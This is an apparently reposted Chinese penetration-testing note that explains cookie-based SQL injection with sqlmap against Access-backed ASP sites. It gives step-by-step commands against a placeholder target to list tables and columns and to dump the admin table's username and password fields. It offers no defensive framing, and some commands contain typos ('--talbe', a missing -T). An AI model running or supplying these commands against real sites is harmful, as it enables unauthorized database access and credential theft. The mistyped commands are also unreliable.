SQLMAP渗透笔记之Cookie中转注入

最新推荐文章于 2024-07-24 15:27:34 发布

转载最新推荐文章于 2024-07-24 15:27:34 发布 · 2.6k 阅读

本文介绍如何使用SQLMap工具通过Cookie中转进行数据库注入攻击。主要包括：判断数据库类型、获取服务器信息、提取数据表及字段等内容。适用于Access数据库，对于MySQL或MSSQL则需额外设置参数。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

---------------------------------------------------------------------------------------------

SQLMAP渗透笔记之Cookie中转注入

---------------------------------------------------------------------------------------------

注：此方法使用于access数据库，mysql、MSSQL数据库请在第二步获取站点当前数据库及数据库，方法与常规mysql、MSSQL注入一样，只不过在后面加上了“--level 2”这个参数，其他参数照常使用。

1.判断数据库，获取服务器，网站环境等参数

sqlmap.py -u http://www.xx.com/show.asp --cookie "id=187" --table --level 2

例：
sqlmap.py -u "http://www.xx.com/show.asp" --cookie "id=187" --talbe --level 2

2.获取字段

sqlmap.py -u http://www.xx.com/show.asp --cookie "id=187" --columns -T 数据表 --level 2

例：
sqlmap.py -u "http://www.xx.com/show.asp" --cookie "id=187" --columns -T admin --level 2

3.获取字段中的内容

sqlmap.py -u http://www.xx.com/show.asp --cookie "id=187" --dump -T 表名 -C "字段名1,字段名2" --level 2

例：
sqlmap.py -u "http://www.xx.com/show.asp" --cookie "id=187" --dump admin -C "username,password" --level 2